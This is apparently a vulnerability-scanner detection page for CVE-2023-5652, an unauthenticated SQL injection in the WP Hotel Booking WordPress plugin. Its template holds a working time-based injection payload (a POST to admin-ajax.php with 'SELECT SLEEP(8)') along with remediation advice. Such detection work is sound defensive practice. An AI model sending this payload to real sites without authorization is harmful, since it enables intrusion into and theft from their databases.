WP Hotel Booking <= 2.0.7 - SQL Injection
CVE-2023-5652
Verified
Description
WP Hotel Booking WordPress plugin before 2.0.8 contains a SQL injection caused by lack of authorization, CSRF checks, and input escaping in a function hooked to admin_init, letting unauthenticated users perform SQL injections, exploit requires no authentication.
Severity
Critical
CVSS Score
9.8
Exploit Probability
67%
Published Date
February 25, 2026
Template Author
shivam kamboj
CVE-2023-5652.yaml
id: CVE-2023-5652
info:
name: WP Hotel Booking <= 2.0.7 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
WP Hotel Booking WordPress plugin before 2.0.8 contains a SQL injection caused by lack of authorization, CSRF checks, and input escaping in a function hooked to admin_init, letting unauthenticated users perform SQL injections, exploit requires no authentication.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to version 2.0.8 or later.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-hotel-booking/wp-hotel-booking-207-unauthenticated-sql-injection
- https://nvd.nist.gov/vuln/detail/CVE-2023-5652
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-5652
epss-score: 0.66577
epss-percentile: 0.9856
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,wp-hotel-booking,unauth
http:
- raw:
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(8)), term_id=CASE when 1=1 THEN 1
matchers:
- type: dsl
dsl:
- 'duration>=8'
- 'regex("^0$", body)'
- 'status_code == 400'
- 'contains(content_type, "text/html")'
condition: and
# digest: 4a0a0047304502203971528765f88991a1ddf0e908f8a5feb37c45b666cf1b3b39a52e72205909cc022100afeaeb33dfdec1a8ad178780073fd657011791ebf1b56ce22556605b853ede5e:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2023-5652
CWE ID:
cwe-89
Remediation Steps
Update to version 2.0.8 or later.